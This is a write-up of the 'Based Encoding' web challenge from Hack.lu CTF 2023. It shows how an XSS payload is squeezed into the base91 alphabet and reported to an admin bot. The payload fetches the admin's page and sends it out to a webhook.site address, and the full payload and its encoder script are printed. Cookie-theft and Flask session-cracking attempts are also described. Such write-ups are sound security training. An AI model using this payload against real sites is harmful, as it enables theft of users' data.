Hack.lu CTF based encoding web challenge writeup
Based Encoding
CTF name: Hack.lu CTF 2023
Challenge name: Based Encoding
Challenge description:
Based encoding as a service. But can we insert a little tomfoolery? Let's find out.
Challenge category: web
Challenge points: 82
When: Fri, Oct. 13, 18:00 — Sun, Oct. 15, 18:00 UTC
TLDR - solution
report a base91
encoded note to admin (XSS with a limited character set)
# btoa("https://webhook.site/your-server?data=") ==> aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=
script="<script>fetch(\"/\")[\"then\"]((data) => data[\"text\"]())[\"then\"]((html)=>location=atob(\"aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=\")+btoa(html))</script><p>some tag</p>"
result = based91.decode(script)
print(result.hex())
# f0afecd5baf39dac4294fc6dd286f809445ffb0db053e0adb4964677a7ca80e53c0b26c6157004c3e127107ded37c04e814160531bdd758d4365402d67b83360700a022f45a3cc14aa343a2acff513e49aa6e1436fa0ee472443f8433165989534423bd308ede71d1128b3cde436c4dfa9ccad5f10d8d4e0f08f0651410c054aedf14de6a0d55a22d9dcce
Description
Challenge was marked as beginner friendly. You’re greet with a login page. After signing up you get an access to list, create and report (to admin) encodings
login | create | view | list |
---|---|---|---|
After checking the source code and view_encoding.html
file we can see that it’s vulnerable to XSS
Inside the app.py
file you find a flag. It’s in a database, but only admin knows the id. So the idea is to prepare an encoding with some XSS, report it to the admin, steal the id and get the flag 😉
Our XSS
script will be encoded using base91
which means we’re limited to the base91_alphabet
. Other characters will be lost during encoding process
Let’s analyze the most important file of this challenge. Inside the app.py
there’s the /create
function where we find the encoding logic
encoded = based91.encode(text.encode() if not (re.match(r"^[a-f0-9]+$", text) and len(text) % 2 == 0) else bytes.fromhex(text))
First observation is that you can send encodings as a .hex()
. Second is that encoding a decoded value will give you the same value (but again, we’re limited to the base91_alphabet
)
result = based91.encode(based91.decode('YOUR_EVIL_SCRIPT_but_._and_ _spaces_ _are_missing'))
print (result)
# YOUR_EVIL_SCRIPT_but__and__spaces__are_missisB
Now it’s time to prepare a JS script which will steal the admin decodings. Remember we can’t use spaces and .
so we need to access the object using []
. Let’s fetch /
, then redirect a user to our server with the page data as a query parameter. We used webhook.site as a temporary log server
// btoa("https://webhook.site/your-server?data=") ==> aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=
fetch("/")
["then"]((data) => data["text"]())
["then"](
(html) =>
(location =
atob("aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=") +
btoa(html))
);
Now it’s time to decode and parse it to hex. Have you noticed these trash characters from before? We’ve got missisB
instead of missing
. It may break our closing </script>
tag. We’ll get rid of this issue by simply adding some random tag at the end of the script
import based91
script="<script>fetch(\"/\")[\"then\"]((data) => data[\"text\"]())[\"then\"]((html)=>location=atob(\"aHR0cHM6Ly93ZWJob29rLnNpdGUveW91ci1zZXJ2ZXI/ZGF0YT0=\")+btoa(html))</><p>some tag</p>"
result = based91.decode(script)
print(result.hex())
# f0afecd5baf39dac4294fc6dd286f809445ffb0db053e0adb4964677a7ca80e53c0b26c6157004c3e127107ded37c04e814160531bdd758d4365402d67b83360700a022f45a3cc14aa343a2acff513e49aa6e1436fa0ee472443f8433165989534423bd308ede71d1128b3cde436c4dfa9ccad5f10d8d4e0f08f0651410c054aedf14de6a0d55a22d9dcce
Now it’s time to create an encoding. We can see the redirect is working (we’re redirected after creating this decoding). Let’s grab an id, report it to admin and check our log server
And we’ve got something! Let’s decode the data
And here’s the id! Let’s go back to the challenge page, open random decoding and replace the id url parameter
so the flag
is
flag{bas3d_enc0dings_str1p_off_ur_sk1n}
wrong path 1
Trying to steal an admin cookie which was protected by httpOnly
flag and not accessible via document.cookie
from the FE
wrong path 2
Trying with different versions of eval
with the no-eval
policy in place
wrong path 3
Decoding session
using flask-unsign and flask-unsign-wordlist. Secret is long and random so nearly impossible to crack